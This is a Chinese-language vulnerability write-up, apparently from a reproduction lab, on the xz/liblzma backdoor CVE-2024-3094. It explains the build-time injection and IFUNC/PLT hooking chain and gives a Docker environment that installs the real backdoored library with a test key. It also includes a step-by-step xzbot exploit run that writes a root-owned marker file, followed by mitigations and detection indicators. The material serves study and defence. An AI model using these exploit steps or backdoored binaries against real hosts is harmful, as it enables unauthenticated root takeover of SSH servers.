跳转至

CVE-2024-3094 — xz/liblzma 供应链后门(未认证预认证阶段以 root 身份执行任意命令)

发布于 2026-06-06

CVSS 10.0 — CRITICAL

未经认证的远程攻击者,无需提供任何凭据,即可在任何加载了后门版 liblzma 5.6.0 或 5.6.1 的 SSH 服务器上以 root 身份执行任意命令。整个过程无需用户交互。

字段 详情
Project xz-utils
受影响组件 liblzma(共享库,liblzma.so.5
Severity CRITICAL
CVSS 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) — CVSS 3.1
CWE CWE-506
受影响版本 5.6.0、5.6.1(仅限官方发布的 tarball,非 git 仓库)
修复版本 未发布任何修复版 5.6.x;各发行版回退至 5.4.6 或等效安全版本
安全公告 GHSA-rxwq-x6h5-x525

1. 漏洞概述

xz-utils 是一个广泛使用的无损数据压缩库和工具集;其共享库 liblzma 是 systemd 的传递性运行时依赖,在 Debian/RPM 发行版上,还通过 libsystemdliblzma 的链路成为 OpenSSH sshd 的间接依赖。

一名以 "Jia Tan" 为名活动的攻击者花费约两年时间,在 xz-utils 项目中建立了共同维护者的信任关系。2024 年初,该攻击者将一个复杂的多阶段供应链后门嵌入了 5.6.0 和 5.6.1 版本的发布 tarball。恶意代码从未被提交到项目的 git 仓库——它只存在于公开发布的源码压缩包中。

净效果是未认证的远程代码执行(以 root 身份):持有对应 ED448 私钥的攻击者,无需完成任何认证流程,只需连接到存在漏洞主机的 SSH 端口,即可让 sshd 以 root 身份运行任意命令。连接在命令执行后立即关闭,syslog 中不产生 INFO 级别或以上的日志条目。

根本原因:编译期注入与运行期钩子链

阶段一——编译期注入(m4/build-to-host.m4,仅存在于 tarball 中)。 这个恶意 M4 宏文件在 tarball 中存在,但在 git 中没有;它在 ./configure 阶段执行。它运行了一个多阶段 bash 管道,从伪装成测试文件的二进制文件(tests/files/bad-3-corrupt_lzma2.xzgood-large_compressed.lzma)中提取加密有效载荷,解密后向 src/liblzma/Makefile 追加链接期编译标志。这些标志使一个预构建的恶意目标文件(liblzma_la-crc64-fast.o,同样从测试文件中提取)被链接进最终的 liblzma.so。该目标文件本身就是完整的二进制后门,无需对任何压缩代码本身做修改。

阶段二——IFUNC 解析器劫持(运行时,liblzma.so)。 glibc 的 IFUNC 机制允许共享库注册一个解析器函数,在间接符号首次被调用时,选择适合当前 CPU 的优化实现。liblzma 的 CRC 函数本身就合法使用了 IFUNC。注入的目标文件替换了这些解析器桩:

  • crc32_resolve:递增内部完成计数器。
  • crc64_resolve:触发后门主体逻辑。

由于 sshd-Wl,-z,now(完全即时绑定)链接,两个解析器在 ld.so 重定位期间触发,发生在 main() 执行之前,也在 GOT 被 -Wl,-z,relro 封锁之前。后门的第二阶段解析器验证若干环境变量门控条件(见第 3 节),然后遍历运行进程内存中的 ELF 结构,将一个 symbind64 回调安装到 _rtld_global_ro._dl_audit 中,无需加载单独的 audit .so,即可劫持 glibc 的 rtld-audit 接口。

阶段三——RSA_public_decrypt PLT 重定向(运行时,OpenSSH sshd)。 当动态链接器随后为 sshd 解析 RSA_public_decrypt@plt 时,注入的 audit 回调触发,将 GOT/PLT 表项改写为指向后门自身的处理函数(Llzma_index_prealloc_0)。该函数位于 ssh-rsa.copenssh_RSA_verify() 在预认证公钥交换阶段调用 RSA_public_decrypt 的代码路径上。替换函数检查传入的 RSA 证书的模数(N)字段中是否携带了特制的 256 字节载荷;若对该载荷的 ED448 签名验证通过,后门将提取并通过 system() 以 root 身份运行嵌入的命令,随后关闭连接。正常连接会被透明地转发给真实的 RSA_public_decrypt,不受影响。


2. 漏洞复现环境

复现环境是一个运行 debian:bookworm-slim(x86-64 / linux/amd64)的单一 Docker 容器。选择该基础镜像,是因为 Debian bookworm 提供了 glibc 2.36(非 musl)、以 GCC 和 GNU ld 构建的 GNU 用户空间,以及携带 systemd-notify 补丁的 openssh-server 软件包,该补丁引入了 libsystemdliblzma 依赖关系。该二进制文件同样以 -Wl,-z,now 链接,满足 IFUNC 钩子所需的即时绑定条件。

镜像构建时,Dockerfile 根据内容哈希从 Debian 快照存档中拉取真实的 liblzma5_5.6.1-1_amd64.deb,验证提取出的 liblzma.so.5.6.1 的 sha256 与已知后门二进制文件(605861f833fc181c7cdcabd5577ddb8989bea332648a8f498b4eef89b8f85ad4)一致,然后运行 env/config/patch_ed448.py(canonical xzbot/patch.py 的无外部依赖 Python 重实现,输出与原版逐字节相同),将硬编码的攻击者 ED448 公钥替换为已知的 seed=0 测试密钥。替换后已安装库的 sha256 为 ea7206ab4b0c3479ff1b478c8803adc9e7aeba243254a9f601b626ef8aa80e3d。入口脚本(env/config/entrypoint.sh)在 TERMLD_DEBUGLD_PROFILE 未设置、LANG 已设置、终止开关变量 yolAbejyiejuvnup 显式不存在的环境下启动 sshdargv[0] 精确为 /usr/sbin/sshd,同时满足全部五个 IFUNC 运行时门控条件。

sshd 配置文件(env/config/sshd_config)设置了 PubkeyAuthentication yesPermitRootLogin prohibit-password,没有任何加固覆盖会阻断预认证 RSA 证书路径,而那正是后门钩取的唯一代码路径。

下载完整环境文件:env.zip

单独文件:

启动环境:

cd <run_dir>
docker compose -f env/docker-compose.yml up -d --wait

验证该环境确为存在漏洞的目标:

# 容器处于运行状态且健康检查通过
docker inspect cve-2024-3094-sshd --format 'status={{.State.Status}} health={{.State.Health.Status}}'
# 期望输出: status=running health=healthy

# 后门版 + 已打补丁的 liblzma 已映射到运行中的 sshd 进程
docker exec cve-2024-3094-sshd sha256sum /usr/lib/x86_64-linux-gnu/liblzma.so.5.6.1
# 期望输出: ea7206ab4b0c3479ff1b478c8803adc9e7aeba243254a9f601b626ef8aa80e3d

# liblzma 已加载到 sshd 的地址空间(容器中的 PID 1)
docker exec cve-2024-3094-sshd sh -c 'grep -c liblzma /proc/1/maps'
# 期望输出: 大于 0 的数字

# 可从宿主机访问 SSH 端口
nc -z -w 3 127.0.0.1 2222 && echo open

容器将 sshd 暴露在宿主机端口 127.0.0.1:2222(映射到容器内端口 22)。在 compose 网络内部,该服务可通过 cve-2024-3094-sshd:22 访问。


3. 漏洞利用过程

利用工具使用 xzbot——一个 Go 客户端,它将后门载荷(一条经 ED448 签名、ChaCha20 加密的命令)嵌入 RSA 证书的模数字段,在预认证公钥阶段通过未认证连接发送。

已打包的 xzbot 源码及预构建的静态二进制文件(exploit/xzbot/xzbot,linux/amd64)均已包含在内。协调脚本 exploit/run.sh 负责:验证目标可达性,若二进制文件缺失则从打包源码构建 xzbot,将一个临时 linux/amd64 容器挂载到 compose 网络,然后向目标运行客户端。该脚本不执行任何 docker exec,也不在宿主机写入任何文件;标记文件完全由后门在 sshd 内部执行投递的命令来创建。

下载完整利用工具包:exploit.zip

单独文件:

分步操作

第一步。 确认目标正在监听:

nc -z -w 3 127.0.0.1 2222 && echo open

第二步。 选择标记文件路径和每次运行的唯一随机数(nonce)。命令 echo $NONCE > $MARKER_PATH 不得超过 64 个字符(后门的命令缓冲区限制):

MARKER_PATH=/tmp/xzpoc_marker
NONCE=my-unique-nonce-$(date +%s)

第三步。 确认标记文件尚不存在(干净基线):

docker exec cve-2024-3094-sshd sh -c 'ls -l '"$MARKER_PATH"' 2>&1'
# 期望输出: "No such file or directory"

第四步。 运行利用脚本:

bash exploit/run.sh "$MARKER_PATH" "$NONCE"

客户端将以十六进制形式打印构造好的 RSA 证书,然后输出:

ssh: handshake failed: EOF

EOF 是后门触发的预期信号,后门在 system() 返回后立即断开连接。脚本退出时不做成功断言;确认工作在下一步通过独立带外渠道完成。

第五步。 通过独立的特权渠道读取标记文件——与利用工具的网络连接完全分离:

docker exec cve-2024-3094-sshd sh -c 'ls -l '"$MARKER_PATH"'; cat '"$MARKER_PATH"

成功判定依据。 通过利用工具无法控制的特权 docker exec shell,执行三项独立检查来确认成功:

  1. 标记文件存在于预期路径(在第三步的基线检查中尚不存在)。
  2. 文件内容等于第二步选择的每次唯一随机数——排除了预先植入文件的可能性。
  3. 文件归属于 root:root——证明命令在 sshd 的特权进程上下文中运行,而非以某个非特权旁路进程运行。

以下是已验证复现运行中的实际观测结果:

# 利用前基线
docker exec cve-2024-3094-sshd sh -c 'ls -l /tmp/vrfy_1780230432_56521'
  -> ls: cannot access ...: No such file or directory   (EXIT=2)

# 利用后
docker exec cve-2024-3094-sshd sh -c 'ls -l /tmp/vrfy_1780230432_56521; cat /tmp/vrfy_1780230432_56521'
  -> -rw-r--r-- 1 root root 22 May 31 12:27 /tmp/vrfy_1780230432_56521
  -> vrfy-1780230432-24007

docker exec cve-2024-3094-sshd stat -c '%U:%G %n' /tmp/vrfy_1780230432_56521
  -> root:root /tmp/vrfy_1780230432_56521

利用工具连接到 127.0.0.1:2222,后门触发,命令 echo vrfy-1780230432-24007 > /tmp/vrfy_1780230432_56521 以 root 身份执行——未经任何认证。

可配置参数(通过环境变量传入 run.sh):

变量 含义 默认值
MARKER_PATH(参数 1) 目标容器中标记文件写入的绝对路径 /tmp/xzpoc_marker
NONCE(参数 2) 写入标记文件的唯一值 xzpoc-<epoch>-<pid>
TARGET_HOST compose 网络中目标主机名 cve-2024-3094-sshd
TARGET_PORT compose 网络内目标 sshd 端口 22
NETWORK 客户端挂载的 Docker 网络 env_default
SEED 与已打补丁密钥匹配的 ED448 种子 0

清理环境。 完成后,停止并删除容器及其网络:

docker compose -f env/docker-compose.yml down -v

4. 安全建议

修复方案

xz-utils 从未发布修复版 5.6.x,所有受影响的发行版均发出通告要求降级。正确做法是降级至 xz-utils 5.4.6(或发行版仓库中最新的 5.4.x 版本),并重新构建任何链接了 liblzma 的软件包。对于基于 Debian 的系统,应以原始 Debian 安全通告为权威参考。

降级后,可通过以下命令验证已安装的库版本:

dpkg -l xz-utils liblzma5

缓解措施与检测指标

可用的指标和缓解措施如下:

  • 终止开关:sshd 的环境中设置环境变量 yolAbejyiejuvnup=Evjtgvsh5okmkAvj 可阻止 IFUNC 钩子完成安装。这仅为应急临时措施,并不能从库中移除恶意代码。
  • IFUNC 门控条件(任意一条满足即可阻断激活):若 TERM 已设置、LD_DEBUGLD_PROFILE 已设置、LANG 未设置、argv[0] 不精确等于 /usr/sbin/sshd,或入口处存在软件断点,后门均不会触发。
  • 蜜罐检测(openssh.patch): xzbot 仓库包含一个 OpenSSH 源码补丁(openssh.patch),记录任何 RSA 证书 N 字段携带后门魔术值的连接尝试。将该补丁应用到已修复的 OpenSSH 构建中,可检测针对本漏洞的扫描行为。
  • 进程树旁证: 在利用窗口期间,在 sshd 容器内执行 ps -ef 可能看到一个临时的 sh -c <cmd> 子进程直接挂在特权 sshd 进程之下,且不对应任何已认证的用户会话。
  • 影响范围: 仅 x86-64 Linux 主机(使用 glibc 而非 musl,以 GCC/GNU ld 构建,运行携带 systemd-notify 补丁的 Debian 或 RPM 版 sshd)受影响。Alpine Linux(musl)及静态链接构建不受影响。

参考资料

  • Andres Freund 在 oss-security 上的原始披露 — 运行时激活路径、IFUNC 解析器序列、-Wl,-z,now 的意义、环境变量门控列表、sshd 前提条件。
  • NVD CVE-2024-3094 — CWE-506,CVSS 10.0,受影响版本 5.6.0/5.6.1,发布日期 2024-03-29。
  • GHSA-rxwq-x6h5-x525 — GitHub Security Advisory,确认受影响版本及严重程度。
  • amlweems/xzbot — PoC 利用工具、ED448 补丁脚本(patch.py)、后门载荷格式文档、openssh.patch 蜜罐(展示 openssh_RSA_verifyRSA_public_decrypt 的精确调用位置)。
  • Kaspersky Securelist: XZ Backdoor Story Part 1 — rtld-audit 钩子机制、_rtld_global_ro._dl_audit 修改、被钩取的 OpenSSL 符号、systemd 依赖链、基于字典树的字符串混淆、终止开关环境变量。
  • thesamesam/xz-backdoor FAQ — 构建要求(Debian/RPM、GCC、x86-64、glibc)、通过 libsystemd 的 sshd 依赖链。
  • research.swtch.com xz 时间线 — 作为钩子入口的 Hans Jansen IFUNC 提交(2023 年 6 月);Jia Tan 社会工程学时间线。
  • smx-smx 详细逆向工程 gist — IFUNC 解析器内部符号名、反调试检查、check_software_breakpointcheck_return_addressRSA_public_decrypt PLT 修补逻辑。